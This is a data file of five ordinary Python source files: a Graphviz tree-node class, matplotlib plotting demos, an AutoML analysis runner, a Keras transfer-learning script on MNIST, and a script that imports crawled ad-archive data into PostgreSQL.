+{"seq_id":"626471411","text":"class node:\n\n    def __init__(self,student):\n        \n        self.student = student\n        self.right =  None\n        self.left =  None \n        self.height  = 0\n    \n    def getCodigoInterno(self):\n        etiqueta= \"\"\n        if self.left is None and self.right:\n            etiqueta = \"nodo\"+str(self.student.no_carnet)+\"[label =\\\"\"+self.student.name+\"\\\"];\\n\"\n        else:\n            etiqueta=\"nodo\"+str(self.student.no_carnet)+\" [ label =\\\"<C0>|\"+str(self.student.no_carnet)+\"\\\\n\"+self.student.name+\"\\\\n \"+self.student.career+\"|<C1>\\\"];\\n\";\n\n        if self.left != None:\n            contenido = self.left.getCodigoInterno()\n            etiqueta=etiqueta + str(contenido) +\"nodo\"+str(self.student.no_carnet)+\":C0->nodo\"+str(self.left.student.no_carnet)+\"\\n\"; \n        \n        if(self.right!=None):\n            contenido = self.right.getCodigoInterno() \n            etiqueta=etiqueta + str(contenido) +\"nodo\"+str(self.student.no_carnet)+\":C1->nodo\"+str(self.right.student.no_carnet)+\"\\n\";                    \n        \n        return etiqueta;\n\n    def  getCodigoGraphviz(self):\n            contenido = self.getCodigoInterno()\n            return \"digraph grafica{\\n\" +\"rankdir=TB;\\n\" +\"node [shape = record, style=filled, fillcolor=seashell2];\\n\"+contenido+\"}\\n\";\n          \n    \n","sub_path":"Estructuras/nodeTree.py","file_name":"nodeTree.py","file_ext":"py","file_size_in_byte":1287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"209266724","text":"\nimport numpy as np\nfrom matplotlib import pyplot as plt\nimport matplotlib\n\n#\ndef plot_1(font1,color):\n    x = np.arange(1,11)\n    y =  2  * x +  5\n    plt.title(\"Matplotlib demo\", fontproperties=font1)\n    plt.xlabel(\"x axis caption\", fontproperties=font1)\n    plt.ylabel(\"y axis caption\", fontproperties=font1)\n    plt.plot(x,y,color)\n    plt.show()\n\n# matplotlib 生成正弦波图\ndef plot_sin(f,c):\n    x =np.arange(0,3 *np.pi,0.1)\n    y_sin =np.sin(x)\n    y_cos =np.cos(x)\n    #激活一个subplot\n    plt.subplot(2,  1,  1)\n    plt.title(\"sine save form \",fontproperties=f)\n    plt.plot(x,y_sin,c)\n\n    # 将第二个 subplot 激活，并绘制第二个图像\n    plt.subplot(2,  1,  2)\n    plt.title(\"cos save form \",fontproperties=f)\n    plt.plot(x,y_cos,c)\n\n    plt.show()\n\n\n#pyplot 子模块提供 bar() 函数来生成条形图。\ndef plot_bar():\n    x =  [5,7,8,10]\n    y =  [12,99,76,66]\n    x2 =  [6,9,12]\n    y2 =  [46,55,72]\n    plt.bar(x, y, align =  'center')\n    plt.bar(x2, y2, color =  'g', align =  'center')\n    plt.title('Bar graph')\n    plt.ylabel('Y axis')\n    plt.xlabel('X axis')\n    plt.show()\n\n\n\n#numpy.histogram() 函数是数据的频率分布的图形表示。 水平尺寸相等的矩形对应于类间隔，称为 bin，变量 height 对应于频率。\n#numpy.histogram()函数将输入数组和 bin 作为两个参数。 bin 数组中的连续元素用作每个 bin 的边界。\ndef plot_histogram():\n    a = np.array([21,2,15,16,1,5,44,88,90,67,89,77,55,43,64,48,68,65,45,25,22,57,87])\n    bins =np.array([0,20,40,60,80,100])\n    hist,bins =np.histogram(a,bins=bins)\n    print(\"hist:\",hist)\n    print(\"bins\",bins)\n\n    plt.hist(a,bins)\n    plt.title(\"histogram \")\n    plt.show()\n\n#打印自带的字体\ndef sys_fonts():\n    print(\"matplotlib.fonts :\")\n    for i in sorted([f.name for f in matplotlib.font_manager.fontManager.ttflist]):\n        print(i)\n\n\nif __name__ == '__main__':\n    #sys_fonts()\n    # fname 为 你下载的字体库路径，注意 SimHei.ttf 字体的路径\n    font1 = matplotlib.font_manager.FontProperties(fname=\"/Users/Liuhua/Projects/pythonprojects/fonts/Calibri.ttf\")\n    #plot_1(font1=font1,color=\"r\")\n    plot_sin(f=font1,c=\"r\")\n    #plot_histogram()\n    print(\"end work !\")\n","sub_path":"ksh/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"285350070","text":"import os\nimport sys\nimport inspect\n\ncurrentdir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))\nparentdir = os.path.dirname(currentdir)\nsys.path.insert(0, parentdir)\n\nfrom src.preProcess import *\nfrom src.processing import Processing\nfrom src.utils import getDataFromCsv, readParamsFile\n\n\ndef main(argv):\n    ### DATA PRE PROCESSING\n    dataset = getDataFromCsv('./datasets/nhs-data/[DATASET_2_SCC]dataset_nhs_peripheral_margin_raw_prediction.csv')\n    input = dataset[1]\n    classData = dataset[2]\n\n    data = PreProcess(input, classData, datasetName=\"scc_margin_raw\")\n    data.redefineColumnsType()\n\n    X = data.input\n    y = data.output\n\n    ### AUTO ML PROCESSING\n\n    params = readParamsFile(argv[1])\n\n    datasetCrossVal = None\n    if len(argv) == 3 and argv[2] == \"cv\":\n        datasetCrossVal = data.redefineColumnsType(selfInput=False, extraData=dataset[0])\n    if len(argv) == 4 and argv[3] == \"weka\":\n        datasetCrossVal = data.redefineColumnsType(selfInput=False, extraData=dataset[0])\n\n    autoML = Processing(inputData=X, classLabelData=y, entireDataset=datasetCrossVal, datasetName=data.datasetName,\n                        **params)\n    autoML.setup()\n    if len(argv) == 3 and argv[2] == \"cv\":\n        autoML.k_folds_split(k_folds=10)\n        autoML.cross_validation_process(\"./outputCrossValidationAutoML/SCC_margin_raw/\")\n        autoML.show_latex_cross_validation_process()\n    elif len(argv) == 4 and argv[3] == \"weka\":\n        autoML.k_folds_split(k_folds=10)\n        autoML.cross_validation_process(\"./outputCrossValidationAutoML/SCC_margin_raw/\", AutoSklearn=False)\n    else:\n        autoML.fit_predict()\n        models = autoML.get_best_models(numberOfModelToGet=0, display=False)\n        autoML.show_latex_table(models[0])\n\n\nif __name__ == \"__main__\":\n    if len(sys.argv) <= 1:\n        raise ValueError(\"Need path to the params to use!\")\n    main(sys.argv)\n","sub_path":"main_analysis/main_SCC_peripheral_margin_raw_prediction_analysis.py","file_name":"main_SCC_peripheral_margin_raw_prediction_analysis.py","file_ext":"py","file_size_in_byte":1917,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"184011600","text":"import argparse\nimport os\nimport logging\nfrom src.utils.common import read_yaml, create_directories\nimport tensorflow as tf\nimport numpy as np\n\nSTAGE = \"transfer learning\" ## <<< change stage name \n\nlogging.basicConfig(\n    filename=os.path.join(\"logs\", 'running_logs.log'), \n    level=logging.INFO, \n    format=\"[%(asctime)s: %(levelname)s: %(module)s]: %(message)s\",\n    filemode=\"a\"\n    )\n\ndef update_odd_even_labels(labels):\n    # odd = 0\n    # even = 1\n    for idx, label in enumerate(labels):\n        labels[idx] = np.where(label%2 == 0, 1, 0)\n    return labels\n\ndef main(config_path):\n    ## read config files\n    config = read_yaml(config_path)\n    \n    ## load base model -\n    base_model_path = os.path.join(\"artifacts\", \"models\", \"base_model.h5\")\n    base_model = tf.keras.models.load_model(base_model_path)\n    base_model.summary()\n\n    # freeze weights\n    for layer in base_model.layers[: -1]:\n        print(f\"before freezing weights {layer.name}: {layer.trainable}\") \n        layer.trainable = False\n        print(f\"after freezing weights {layer.name}: {layer.trainable}\") \n\n    # modify last layer for our problem statement\n    base_layers = base_model.layers[:-1]\n\n    new_model = tf.keras.models.Sequential(base_layers)\n    new_model.add(\n        tf.keras.layers.Dense(2, activation=\"softmax\", name=\"output_layer\")\n    )\n\n    new_model.summary()\n\n    # get the data\n    (X_train_full, y_train_full), (X_test, y_test) = tf.keras.datasets.mnist.load_data()\n    X_train_full = X_train_full / 255.0\n    X_test = X_test / 255.0\n    X_valid, X_train = X_train_full[:5000], X_train_full[5000:]\n    y_valid, y_train = y_train_full[:5000], y_train_full[5000:]\n\n    y_train_bin, y_test_bin, y_valid_bin = update_odd_even_labels([y_train, y_test, y_valid])\n\n    new_model.compile(loss=\"sparse_categorical_crossentropy\",\n              optimizer=tf.keras.optimizers.SGD(learning_rate=1e-3),\n              metrics=[\"accuracy\"])\n\n    history = new_model.fit(X_train, y_train_bin, epochs=10,\n                    validation_data=(X_valid, y_valid_bin), verbose=2)\n\n    new_model.evaluate(X_test, y_test_bin)\n\n    new_model_path = os.path.join(\"artifacts\", \"models\", \"new_model.h5\")\n    new_model.save(new_model_path)\n\n\n\nif __name__ == '__main__':\n    args = argparse.ArgumentParser()\n    args.add_argument(\"--config\", \"-c\", default=\"configs/config.yaml\")\n    parsed_args = args.parse_args()\n\n    try:\n        logging.info(\"\\n********************\")\n        logging.info(f\">>>>> stage {STAGE} started <<<<<\")\n        main(config_path=parsed_args.config)\n        logging.info(f\">>>>> stage {STAGE} completed!<<<<<\\n\")\n    except Exception as e:\n        logging.exception(e)\n        raise e","sub_path":"src/transfer_learning.py","file_name":"transfer_learning.py","file_ext":"py","file_size_in_byte":2687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"580236883","text":"from collections import namedtuple\nfrom pathlib import Path\nimport sys\nimport os\nimport configparser\nimport psycopg2\nimport psycopg2.extras\nimport datetime\nimport time\nimport json\n\nif len(sys.argv) < 2:\n    exit(\"Usage:python3 import_ads_to_db.py import_ads_to_db.cfg\")\n\nconfig = configparser.ConfigParser()\nconfig.read(sys.argv[1])\n\ncrawl_date = datetime.date.today() - datetime.timedelta(days=10) #LAE - remove the minus\n\nHOST = config['POSTGRES']['HOST']\nDBNAME = config['POSTGRES']['DBNAME']\nUSER = config['POSTGRES']['USER']\nPASSWORD = config['POSTGRES']['PASSWORD']\nDBAuthorize = \"host=%s dbname=%s user=%s password=%s\" % (HOST, DBNAME, USER, PASSWORD)\nconnection = psycopg2.connect(DBAuthorize)\ncursor = connection.cursor(cursor_factory=psycopg2.extras.DictCursor)\n\n#cache ad and related tables so we minimize inserts\nads_query = \"select id from ads\"\ncursor.execute(ads_query)\nad_ids = set()\nfor row in cursor:\n    ad_ids.add(row['id'])\n\nad_sponsor_query = \"select name, nyu_id from ad_sponsors\"\ncursor.execute(ad_sponsor_query)\nad_sponsor_ids = {}\nfor row in cursor:\n    ad_sponsor_ids[row['name']] = row['nyu_id']\n\npage_query = \"select id from pages\"\ncursor.execute(page_query)\npage_ids = set()\nfor row in cursor:\n    page_ids.add(row['id'])\n\nprint(page_ids)\n\ncategory_query = \"select id from categories\"\ncursor.execute(category_query)\ncategory_ids = set()\nfor row in cursor:\n    category_ids.add(row['id'])\n\nregion_query = \"select name, nyu_id from regions\"\ncursor.execute(region_query)\nregions = {}\nfor row in cursor:\n    regions[row['name']] = row['nyu_id']\n\ndemo_query = \"select age_range, gender, nyu_id from demo_group\"\ncursor.execute(demo_query)\ndemo_groups = {}\nfor row in cursor:\n    key = row['gender'] + row['age_range']\n    demo_groups[key] = row['nyu_id']\n\n#setup some datastructures for ease of storage before we insert\nAdRecord = namedtuple('AdRecord', ['archive_id', 'id', 'page_id', 'text', 'image_url', 'video_url', 'has_cards', 'sponsor_name'])\nPageRecord = namedtuple('PageRecord', ['id', 'name', 'url', 'is_deleted'])\nCardRecord = namedtuple('CardRecord', ['ad_archive_id', 'text', 'title', 'video_url', 'image_url'])\nSnapshotRecord = namedtuple('SnapshotRecord', ['id', 'ad_archive_id', 'start_date', 'end_date', 'is_active', \\\n'max_spend', 'min_spend', 'max_impressions', 'min_impressions', 'currency'])\nSnapshotRegionRecord = namedtuple('SnapshotRegionRecord', ['name', 'min_impressions', 'max_impressions'])\nSnapshotDemoRecord = namedtuple('SnapshotDemoRecord', ['age_range', 'gender', 'min_impressions', 'max_impressions'])\n\nads_to_insert = {}\nad_sponsors_to_insert = set()\ncards_to_insert = {}\npages_to_insert = {}\ncategories_to_insert = {}\npage_category_links_to_insert = {}\n#parse content files\ncrawl_folder = config['FILES']['FOLDER']\nfor FolderName in os.listdir(crawl_folder):\n    if FolderName == 'Keywords.txt':\n        continue\n    content_file = Path(crawl_folder + FolderName + \"/Contents.txt\")\n    metadata_file = Path(crawl_folder + FolderName + \"/Metadata.txt\")\n    if not content_file.is_file() or not metadata_file.is_file():\n        continue\n    print(\"Parsing \" + FolderName + \" content\")\n    with open(crawl_folder + FolderName + \"/Contents.txt\", 'r') as content_file:\n        Ads = json.loads(content_file.read())[0]['payload']\n        for ad_id, ad_contents in Ads.items():\n            if str(ad_id) in ad_ids:\n                continue #we've already seen this ad_id, we don't have to reinsert its contents\n            ad_archive_id = ad_contents['adArchiveID']\n            ad_has_cards = False\n            fields = ad_contents['fields']\n            ad_sponsor_name = fields['byline']\n            if ad_sponsor_name not in ad_sponsor_ids: #we've never seen this ad sponsor before, we need to add it \n                ad_sponsors_to_insert.add(ad_sponsor_name)\n\n            if 'cards' in fields and fields['cards']:#all cards need to get inserted to the cards table\n                ad_has_cards = True\n                cards_to_insert[ad_archive_id] = set()\n                for card in fields['cards']:\n                    text = card['body']\n                    title = ''\n                    if 'caption' in card:\n                        title = card['caption']\n                        video_url = ''\n                    if 'video_hd_url' in card and card['video_hd_url']:\n                        video_url = card['video_hd_url']\n                    image_url = \"\"\n                    if 'original_image_url' in card:\n                        image_url = card['original_image_url']\n                    curr_card = CardRecord(ad_archive_id, text, title, video_url, image_url)\n                    cards_to_insert[ad_archive_id].add(curr_card)\n            \n            ad_page_id = int(fields['page_id'])\n            if ad_page_id not in page_ids:#we've never seen this page before, so we need to add it\n                page_name = fields['page_name']\n                page_url = fields['page_profile_uri']\n                page_is_deleted = fields['page_is_deleted']\n                curr_page = PageRecord(ad_page_id, page_name, page_url, page_is_deleted)\n                pages_to_insert[ad_page_id] = curr_page\n                page_category_dict = fields['page_categories']\n                page_category_links_to_insert[ad_page_id] = []\n                for category_id, category_name in page_category_dict.items():\n                    category_id = int(category_id)\n                    if category_id not in category_ids:#we've never seen this category before, so we need to add it\n                       categories_to_insert[category_id] = category_name\n\n                    page_category_links_to_insert[ad_page_id].append(category_id)\n               \n            ad_text = fields['body']['markup']['__html'].strip()\n            ad_image_url = \"\"\n            if len(fields['images']) > 0 and fields['images'][0]['original_image_url']:\n                ad_image_url = fields['images'][0]['original_image_url']\n\n            ad_video_url = \"\"\n            if len(fields['videos']) > 0 and fields['videos'][0]['video_hd_url']: \n                ad_video_url = fields['videos'][0]['video_hd_url']\n            curr_ad = AdRecord(ad_archive_id, ad_id, ad_page_id, ad_text, ad_image_url, ad_video_url, ad_has_cards, ad_sponsor_name)\n            ads_to_insert[ad_archive_id] = curr_ad\n\nsnapshots_to_insert = {}\nsnapshot_demos_to_insert = {}\nsnapshot_regions_to_insert = {}\ndemos_to_insert = set()\nregions_to_insert = set()\nimpression_strings = {'<1K':(0,1000), '1K - 5K':(1000, 5000), '5K - 10K':(5000, 10000), '10K - 50K':(10000, 50000), '50K - 100K':(50000, 100000), \\\n'100K - 200K':(100000,200000), '200K - 500K':(200000, 500000), '500K - 1M':(500000, 1000000), '>1M':(1000000,1000000)}\nspend_strings = {'<$100':(0, 100), '$100 - $499':(100, 499), '$500 - $999':(500, 1000), '$1K - $5K':(1000, 5000),'$5K - $10K':(5000, 10000),\\\n '$10K - $50K':(10000,50000), '$20K - $50K':(20000, 50000), '$50K - $100K':(50000, 100000)}\n#parse metadata files\nfor FolderName in os.listdir(crawl_folder):\n    if FolderName == 'Keywords.txt':\n        continue\n    print(\"Parsing \" + FolderName + \" metadata\")\n    with open(crawl_folder + FolderName + \"/Metadata.txt\", 'r') as metadata_file:\n        snapshots = json.loads(metadata_file.read())[0]['payload']['results']\n        for snapshot in snapshots:\n            if not snapshot['adInsightsInfo']:\n                continue\n            snapshot_id = snapshot['snapshotID']\n            start_date = time.gmtime(snapshot['startDate'])\n            end_date = time.gmtime(snapshot['endDate'])\n            if not end_date: end_date = \"\"\n            ad_archive_id = snapshot['adArchiveID']\n            is_active = snapshot['isActive']\n            currency = snapshot['adInsightsInfo']['currency']\n            min_spend = max_spend = min_impressions = max_impressions = 0\n            if snapshot['adInsightsInfo']['spend'] not in spend_strings or  snapshot['adInsightsInfo']['impressions'] not in impression_strings:\n                continue\n            min_spend, max_spend = spend_strings[snapshot['adInsightsInfo']['spend']]\n            min_impressions, max_impressions = impression_strings[snapshot['adInsightsInfo']['impressions']]\n            curr_snapshot = SnapshotRecord(snapshot_id, ad_archive_id, start_date, end_date, is_active, max_spend, min_spend,\\\n            max_impressions, min_impressions, currency)\n            snapshots_to_insert[snapshot_id] = curr_snapshot\n            if snapshot['adInsightsInfo']['locationData']:\n                region_values = []\n                for location in snapshot['adInsightsInfo']['locationData']:\n                    if location['region'] not in regions:\n                        regions_to_insert.add(location['region'])\n                    region_values.append(SnapshotRegionRecord(location['region'], min_impressions * location['reach'], \\\n                    max_impressions * location['reach']))\n\n                snapshot_regions_to_insert[snapshot_id] = region_values\n\n            if snapshot['adInsightsInfo']['ageGenderData']:\n                demo_values = []\n                for demo_group in snapshot['adInsightsInfo']['ageGenderData']:\n                    age_range = demo_group['age_range']\n                    if 'unknown' in demo_group:\n                        value = demo_group['unknown']\n                        if 'unknown'+ age_range not in demo_groups:\n                            demos_to_insert.add(('unknown', age_range))\n                        demo_values.append(SnapshotDemoRecord(age_range, 'unknown', min_impressions * value, max_impressions * value))\n\n                    if 'male' in demo_group:\n                        value = demo_group['male']\n                        if 'male'+ age_range not in demo_groups:\n                            demos_to_insert.add(('male', age_range))\n                        demo_values.append(SnapshotDemoRecord(age_range, 'male', min_impressions * value, max_impressions * value))\n\n                    if 'female' in demo_group:\n                        value = demo_group['female']\n                        if 'female'+ age_range not in demo_groups:\n                            demos_to_insert.add(('female', age_range))\n                        demo_values.append(SnapshotDemoRecord(age_range, 'female', min_impressions * value, max_impressions * value))\n                 \n                snapshot_demos_to_insert[snapshot_id] = demo_values\n\n# insert ad_sponsors, regions, and demo groups. We have to do these first so we can get ids\nif ad_sponsors_to_insert:\n    print(\"Inserting ad_sponsors\")\n    sponsor_count = 0\n    ad_sponsor_insert = \"INSERT INTO ad_sponsors(name) VALUES \"\n    for ad_sponsor in ad_sponsors_to_insert:\n        ad_sponsor_insert += cursor.mogrify(\"(%s),\", (ad_sponsor,)).decode('utf-8')\n        if sponsor_count >= 250:\n            ad_sponsor_insert = ad_sponsor_insert[:-1]\n            ad_sponsor_insert += \";\"\n            cursor.execute(ad_sponsor_insert)\n            sponsor_count = 0\n            ad_sponsor_insert = \"INSERT INTO ad_sponsors(name) VALUES \"\n        else:\n            sponsor_count += 1\n\n    if sponsor_count:\n        ad_sponsor_insert = ad_sponsor_insert[:-1]\n        ad_sponsor_insert += \";\"\n        cursor.execute(ad_sponsor_insert)\n    \nif demos_to_insert:\n    print(\"Inserting demos\")\n    demo_insert = \"INSERT INTO demo_group(gender, age_range) VALUES \"\n    for demo in demos_to_insert:\n        demo_insert += cursor.mogrify(\"(%s, %s),\", (demo[0],demo[1])).decode('utf-8') \n    demo_insert = demo_insert[:-1]\n    demo_insert += \";\"\n    cursor.execute(demo_insert)\n    \nif regions_to_insert:\n    print(\"Inserting regions\")\n    region_count = 0\n    region_insert = \"INSERT INTO regions(name) VALUES \"\n    for region in regions_to_insert:\n        region_insert += cursor.mogrify(\"(%s),\", (region,)).decode('utf-8')\n        if region_count >= 250:\n            region_insert = region_insert[:-1]\n            region_insert += \";\"\n            cursor.execute(region_insert)\n            region_count = 0\n            region_insert = \"INSERT INTO regions(name) VALUES \"\n        else:\n            region_count += 1\n    \n    if region_count:\n        region_insert = region_insert[:-1]\n        region_insert += \";\"\n        cursor.execute(region_insert)\n\nconnection.commit()\n\n#now, re-fetch ad sponsors, demo groups, and regions so we have the ids for inserts to come\nad_sponsor_query = \"select name, nyu_id from ad_sponsors\"\ncursor.execute(ad_sponsor_query)\nad_sponsor_ids = {}\nfor row in cursor:\n    ad_sponsor_ids[row['name']] = row['nyu_id']\n\nregion_query = \"select name, nyu_id from regions\"\ncursor.execute(region_query)\nregions = {}\nfor row in cursor:\n    regions[row['name']] = row['nyu_id']\n\ndemo_query = \"select age_range, gender, nyu_id from demo_group\"\ncursor.execute(demo_query)\ndemo_groups = {}\nfor row in cursor:\n    key = row['gender'] + row['age_range']\n    demo_groups[key] = row['nyu_id']\n\n#insert ads, cards, pages, categories, page_categories\nif ads_to_insert:\n    print(\"Inserting ads\")\n    ad_count = 0\n    ad_insert = \"INSERT INTO ads(archive_id, id, page_id, text, image_url, video_url, ad_sponsor_id, has_cards) VALUES \"\n    for ad_archive_id, ad in ads_to_insert.items():\n        ad_insert += cursor.mogrify(\"(%s, %s, %s, %s, %s, %s, %s, %s),\",(ad.archive_id, ad.id, ad.page_id, ad.text, ad.image_url, \\\n        ad.video_url, ad_sponsor_ids[ad.sponsor_name], ad.has_cards)).decode('utf-8')\n        if ad_count >= 250:\n            ad_insert = ad_insert[:-1]\n            ad_insert += \";\"\n            print(\"Importing ads\")\n            cursor.execute(ad_insert)\n            ad_insert = \"INSERT INTO ads(archive_id, id, page_id, text, image_url, video_url, ad_sponsor_id, has_cards) VALUES \"\n            ad_count = 0\n        else:\n            ad_count += 1\n    if ad_count:\n        ad_insert = ad_insert[:-1]\n        ad_insert += \";\"\n        print(\"Importing ads\")\n        cursor.execute(ad_insert)\n\nconnection.commit() \nif cards_to_insert:\n    print(\"Inserting cards\")\n    card_count = 0\n    card_insert = \"INSERT INTO cards(ad_archive_id, text, title, video_url, image_url) VALUES \"\n    for ad_archive_id, cards in cards_to_insert.items():\n        for card in cards:\n            card_insert += cursor.mogrify(\"(%s, %s, %s, %s, %s),\", (card.ad_archive_id, card.text, card.title, card.video_url, card.image_url)).decode('utf-8')\n            if card_count >= 250:\n                card_insert = card_insert[:-1]\n                card_insert += \";\"\n                print(\"Importing 250 cards\")\n                cursor.execute(card_insert)\n                card_insert = \"INSERT INTO cards(ad_archive_id, text, title, video_url, image_url) VALUES \"\n                card_count = 0\n            else:\n                card_count += 1\n    if card_count:\n        card_insert = card_insert[:-1]\n        card_insert += \";\"\n        print(\"Importing cards\")\n        cursor.execute(card_insert)\n        \nconnection.commit() \nif pages_to_insert:\n    print(\"Inserting pages\")\n    page_count = 0\n    page_insert = \"INSERT INTO pages(id, name, url, is_deleted) VALUES \"\n    for curr_page_id, page in pages_to_insert.items():\n        page_insert += cursor.mogrify(\"(%s, %s, %s, %s),\", (page.id, page.name, page.url, page.is_deleted)).decode('utf-8')\n        if page_count >= 250:\n            page_insert = page_insert[:-1]\n            page_insert += \";\"\n            print(\"Importing 250 pages\")\n            print(cursor.mogrify(page_insert))\n            cursor.execute(page_insert)\n            page_insert = \"INSERT INTO pages(id, name, url, is_deleted) VALUES \"\n            page_count = 0\n        else:\n            page_count += 1\n    if page_count:\n        page_insert = page_insert[:-1]\n        page_insert += \";\"\n        print(\"Importing pages\")\n        print(cursor.mogrify(page_insert))\n        cursor.execute(page_insert)\n\nconnection.commit() \nif categories_to_insert:\n    print(\"Inserting Categories\")\n    category_count = 0\n    category_insert = \"INSERT INTO categories(id, name) VALUES \"\n    for cat_id, cat_name in categories_to_insert.items():\n        category_insert += cursor.mogrify(\"(%s, %s),\",(cat_id, cat_name)).decode('utf-8') \n        if category_count >= 250:\n            category_insert = category_insert[:-1]\n            category_insert += \";\"\n            print(\"Importing 250 categories\")\n            cursor.execute(category_insert)\n            category_insert = \"INSERT INTO categories(id, name) VALUES \"\n            category_count = 0\n        else:\n            category_count += 1\n    if category_count:\n        category_insert = category_insert[:-1]\n        category_insert += \";\"\n        print(\"Importing categories\")\n        cursor.execute(category_insert)\n\nconnection.commit() \nif page_category_links_to_insert:\n    print(\"Inserting page categories\")\n    page_category_link_count = 0\n    page_category_link_insert = \"INSERT INTO page_categories(page_id, category_id) VALUES \"\n    for page_id, category_ids in page_category_links_to_insert.items():\n        for category_id in category_ids:\n            page_category_link_insert +=  cursor.mogrify(\"(%s, %s),\", (page_id,category_id)).decode('utf-8')\n            if page_category_link_count >= 250:\n                page_category_link_insert = page_category_link_insert[:-1]\n                page_category_link_insert += \";\"\n                print(\"Importing 250 page_categorys\")\n                cursor.execute(page_category_link_insert)\n                page_category_link_insert = \"INSERT INTO page_categories(page_id, category_id) VALUES \"\n                page_category_link_count = 0\n            else:\n                page_category_link_count += 1\n\n    if page_category_link_count:\n        page_category_link_insert = page_category_link_insert[:-1]\n        page_category_link_insert += \";\"\n        print(\"Importing snapshot_categories\")\n        cursor.execute(page_category_link_insert)\n \n\nconnection.commit() \n\n#insert snapshots, snapshot_demos, snapshot_regions\nif snapshots_to_insert:\n    print(\"Inserting Snapshots\")\n    snapshot_count = 0\n    snapshot_insert = \"INSERT INTO snapshots(id, ad_archive_id, date, max_spend, min_spend, max_impressions, min_impressions, currency, \\\n    start_date, end_date, is_active) VALUES \"\n    for snapshot_id, snapshot in snapshots_to_insert.items():\n        snapshot_insert += cursor.mogrify(\"(%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s),\", (snapshot.id, snapshot.ad_archive_id, \\\n        crawl_date.strftime('%Y-%m-%d'), snapshot.max_spend, snapshot.min_spend, snapshot.max_impressions, snapshot.min_impressions, \\\n        snapshot.currency, time.strftime('%Y-%m-%d', snapshot.start_date), time.strftime('%Y-%m-%d', snapshot.end_date), snapshot.is_active)).decode('utf-8')\n        if snapshot_count >= 250:\n            snapshot_insert = snapshot_insert[:-1]\n            snapshot_insert += \";\"\n            print(\"Importing 250 snapshots\")\n            cursor.execute(snapshot_insert)\n            snapshot_insert = \"INSERT INTO snapshots(id, ad_archive_id, date, max_spend, min_spend, max_impressions, min_impressions, \\\n            currency, start_date, end_date, is_active) VALUES \"\n            snapshot_count = 0\n        else:\n            snapshot_count += 1\n    if snapshot_count:\n        snapshot_insert = snapshot_insert[:-1]\n        snapshot_insert += \";\"\n        print(\"Importing snapshots\")\n        cursor.execute(snapshot_insert)\n\nconnection.commit() \n\n#because the snapshot_demo and snapshot_region records reference the snapshot_nyu_id of the snapshots we just entered, \n#we need to fetch those so we can do the inserts below\nsnapshot_query = \"SELECT id, nyu_id from snapshots where date = %s;\"\nnyu_snapshot_ids = {}\ncursor.execute(snapshot_query, (crawl_date.strftime('%Y-%m-%d'),))\nfor row in cursor:\n    nyu_snapshot_ids[row['id']] = row['nyu_id']\n\n \nif snapshot_demos_to_insert:\n    print(\"Inserting Snapshot Demos\")\n    snapshot_demos_count = 0\n    snapshot_demos_insert = \"INSERT INTO snapshot_demo(demo_id, nyu_snapshot_id, max_impressions, min_impressions) VALUES \"\n    for snapshot_id, snapshot_demos in snapshot_demos_to_insert.items():\n        for snapshot_demo in snapshot_demos:\n            snapshot_demos_insert += cursor.mogrify(\"(%s, %s, %s, %s),\" %(demo_groups[snapshot_demo.gender + snapshot_demo.age_range],\\\n            nyu_snapshot_ids[int(snapshot_id)], snapshot_demo.max_impressions, snapshot_demo.min_impressions)).decode('utf-8')\n            if snapshot_demos_count >= 250:\n                snapshot_demos_insert = snapshot_demos_insert[:-1]\n                snapshot_demos_insert += \";\"\n                print(\"Importing 250 snapshot_demos\")\n                cursor.execute(snapshot_demos_insert)\n                snapshot_demos_insert = \"INSERT INTO snapshot_demo(demo_id, nyu_snapshot_id, max_impressions, min_impressions) VALUES \"\n                snapshot_demos_count = 0\n            else:\n                snapshot_demos_count += 1\n\n    if snapshot_demos_count:\n        snapshot_demos_insert = snapshot_demos_insert[:-1]\n        snapshot_demos_insert += \";\"\n        print(\"Importing snapshot_demos\")\n        cursor.execute(snapshot_demos_insert)\n\nconnection.commit() \nif snapshot_regions_to_insert: \n    print(\"Inserting Snapshot Regions\")\n    snapshot_regions_count = 0\n    snapshot_regions_insert = \"INSERT INTO snapshot_region(region_id, nyu_snapshot_id, max_impressions, min_impressions) VALUES \"\n    print(regions)\n    for snapshot_id, snapshot_regions in snapshot_regions_to_insert.items():\n        for snapshot_region in snapshot_regions:\n            snapshot_regions_insert += cursor.mogrify(\"(%s, %s, %s, %s),\" %(regions[snapshot_region.name], nyu_snapshot_ids[int(snapshot_id)], \\\n            snapshot_region.max_impressions, snapshot_region.min_impressions)).decode('utf-8')\n            if snapshot_regions_count >= 250:\n                snapshot_regions_insert = snapshot_regions_insert[:-1]\n                snapshot_regions_insert += \";\"\n                print(\"Importing 250 snapshot_regions\")\n                cursor.execute(snapshot_regions_insert)\n                snapshot_regions_insert = \"INSERT INTO snapshot_region(region_id, nyu_snapshot_id, max_impressions, min_impressions) VALUES \"\n                snapshot_regions_count = 0\n            else:\n                snapshot_regions_count += 1\n\n    if snapshot_regions_count:\n        snapshot_regions_insert = snapshot_regions_insert[:-1]\n        snapshot_regions_insert += \";\"\n        print(\"Importing snapshot_regions\")\n        cursor.execute(snapshot_regions_insert)\n\nconnection.commit() \nconnection.close()\n","sub_path":"import_ads_to_db.py","file_name":"import_ads_to_db.py","file_ext":"py","file_size_in_byte":22542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
